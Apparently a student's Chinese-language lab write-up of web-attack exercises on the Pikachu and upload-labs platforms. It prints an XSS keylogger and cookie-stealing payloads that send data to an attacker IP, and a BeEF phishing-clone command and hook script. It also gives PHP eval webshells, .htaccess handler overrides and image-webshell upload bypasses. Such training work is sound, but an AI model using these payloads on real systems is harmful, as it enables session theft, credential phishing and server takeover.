题目
- 1、XSS
- (1)使用pikachu平台练习XSS键盘记录、前台XSS盲打攻击获取cookie,利用cookie实现登录
- (2)使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码
- 2、文件上传
- (1)客户端绕过练习
- (2)服务端黑名单绕过:给出.htaccess文件绕过的具体步骤
- (3)服务端白名单绕过:%00截断绕过,要求虚拟机中搭建实验环境,分别实现GET、POST方法的绕过
- (4)文件头检查:分别利用3种制作图片马的方式实现上传绕过
- (5)二次渲染绕过
1 XSS
1.1
1.1.1 XSS键盘记录
查看Pikachu自带XSS键盘记录利用脚本 /var/www/html/pkxss/rkeypress/rk.js
/**
* Created by runner on 2018/7/8.
*/
function createAjax(){
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}
}else if(window.ActiveXObject){
var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++){
try{
request=new ActiveXObject(versions[i]);
if(request){
return request;
}
}catch(e){
request=false;
}
}
}
return request;
}
var ajax=null;
var xl="datax="; //声明变量并赋值
function onkeypress() {
var realkey = String.fromCharCode(event.keyCode); //使用KEYCODE获取用户输入
xl+=realkey; //自加,每变化一次加一次
show();
}
document.onkeypress = onkeypress; //记录按键
function show() {
ajax = createAjax();
ajax.onreadystatechange = function () {
if (ajax.readyState == 4) {
if (ajax.status == 200) {
var data = ajax.responseText;
} else {
alert("页面请求失败");
}
}
}
var postdate = xl; //xl赋值给postdate
ajax.open("POST", "http://10.0.0.156:8000/pika/pkxss/rkeypress/rkserver.php",true); //使用php脚本接受键盘记录的结果,测试时需要修改访问地址,攻击机网址
ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
ajax.setRequestHeader("Content-length", postdate.length);
ajax.setRequestHeader("Connection", "close");
ajax.send(postdate); //发送postdate
}
存储xss模块中输入payload
<script src="https://10.0.0.156:8000/pkxss/rkeypress/rk.js"></script> //地址为攻击机搭建网站地址
留言板页面只要敲击键盘就会被记录,不是必须输入内容之后,xss后台查看键盘记录
1.1.2 XSS盲打
在xss后台页面右击查看页面源代码,发现其中pkxss_cookie_result.php,该脚本文件用于收集和展示cookie
同目录下,cookie.php文件获取cookie
// 使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参数为 document.cookie
<script>document.write('<img src="https://10.0.0.156:8000/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>
<script>document.write('<img src="https://10.0.0.156:8000/pkxss/xcookie/cookie.php?cookie='+document.cookie+' "/>')</script>
在xss盲打后台看到有图片内容
xss后台中查看cookie搜集模块,发现有对应的信息
在cookie-editor插件中输入获取到的cookie值,然后由...admin_login.php直接访问admin.php
通过cookie直接访问,不需要输入用户名密码。
1.2 BEEF-XSS
使用beef克隆网站作为钓鱼页面,克隆
curl -H "Content-Type:application/json;charest=UTF-8" -d '{"url":"http://10.0.0.156:8000/vul/xss/xsspost/post_login.php","mount":"/clone_site_pikachu_xss"}' -X POST http://10.0.0.157:3000/api/seng/clone_page?token=9841cdf7229cd68f2c0591765efe9ecce5babe5b
目标机访问该网站
beef后台能看到目标机提交的信息
使用beef攻击pikachu中的xss盲打获取cookie
在盲打模块上传hook脚本,让用户触发xss
<script src="https://10.0.0.157:3000/hook.js"></script>
管理员登录后台后beef收到信息,在Brower模块下找到Get cookie,右下角点击execute进行攻击,获取cookie
查看网站的cookie,与beef获取的cookie对比发现一致
2 文件上传
2.1 客户端绕过
2.1.1 禁用js
浏览器禁用js,F12然后F1
phpinfo
<?php phpinfo();?>
禁用js之后可以直接上传php文件
php一句话木马
<?php eval(@$_GET['a']);?>
<?php eval(@$_POST['a']);?>
蚁剑通过连接一句话木马
通过蚁剑查看系统中的文件通过蚁剑对目标进行终端操作
2.1.2 bp修改后缀名
上传jpg文件
bp中修改后缀名
2.1.3 修改前端代码
删除form标签的onsubmit事件即可上传成功
ps:该方法在firefox中可用,edge和chrome中不生效
2.2 .htaccess文件绕过
upload-labs(pass-04)源码中缺少对.htaccess文件校验
上传一个.htaccess文件,重写文件解析规则绕过,设置当前目录所有文件都是使用php解析,那么无论上传什么文件,都被作为php执行
准备两个文件.htaccess和一句话木马.jpg文件
//.htaccess文件,指定upload.jpg文件作为php解析
<FilesMatch "upload.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
//.htaccess文件,所有文件作为php解析
<IfModule mime_module>
SetHandler application/x-httpd-php
</IfModule>
//upload.jpg
<?php @eval($_POST["a"]); ?>
2.3 00截断绕过
upload-labs(pass-12)
截断条件:
1. php版本小于5.3.4
2. php.ini的magic_quotes_gpc为OFF状态
GET方法
%00的使用只能在路径上
upload-labs(pass-13)POST方法%00在请求体中不会被解码,需要手动进行解码
选择%00右击convert selection-->URL-->URL decode进行url解码
2.4 文件头检查
010editor可以看到文件的真实内容(文件的真实内容不会因为后缀名的改变而改变)
文件头+文件内容+文件尾
.jpg FF D8 FF E0 00 10 4A 46 49 46
.gif 47 49 46 38 39 61
.png 89 50 4E 47
制作图片马:
1. windows系统文件拼接:copy /b 1.png+2.php.png
2. 在真实图片中添加一句话木马(直接在文件尾写一句话木马)
3. 在真实脚本的头部添加图片的文件头(严格来说不是图片马)
4. 使用photoshop修改文件标题alt +shift+ctrl +i
图片马需要配合文件包含漏洞关系使用
新的图片马可以正常查看
upload-labs(pass-14)
读前2字节进行16进制字段比对,
存在文件包含漏洞
访问url:port/include.php?file=xxxx,访问显示乱码,蚁剑测试可以连接成功
2.5 二次渲染绕过
upload-labs(pass-17)
先是判断后缀名和文件类型,然后再用imagecreatefrom[gif|png|jpg] 函数判断是否是图片格式,如果是图片的话再用 image[gif|png|jpg]函数对其进行二次渲染。我们可以上传一个正常的图片文件,观察其上传前和上传后图片的二进制流是否发生变化。
利用010editor文件对比功能,将上传前后的正常文件进行对比
GIF
渲染前后的两张GIF,没有发生变化的数据块部分可以直接插入webshell
PNG
需要将数据写入到PLTE数据块或IDAT数据块
JPG
需要使用脚本将数据插入到特定的数据块,可能会不成功,需要多次尝试
优先选择在gif中插入webshell,在将上传前和上传后的gif通过工具进行对比
对比前后对未修改的片段添加一句话木马即可对二次渲染进行绕过
将插入的文件上传后正常显示正常,打开图片后看到php语句渲染后页面
phpinfo后面为图片正常代码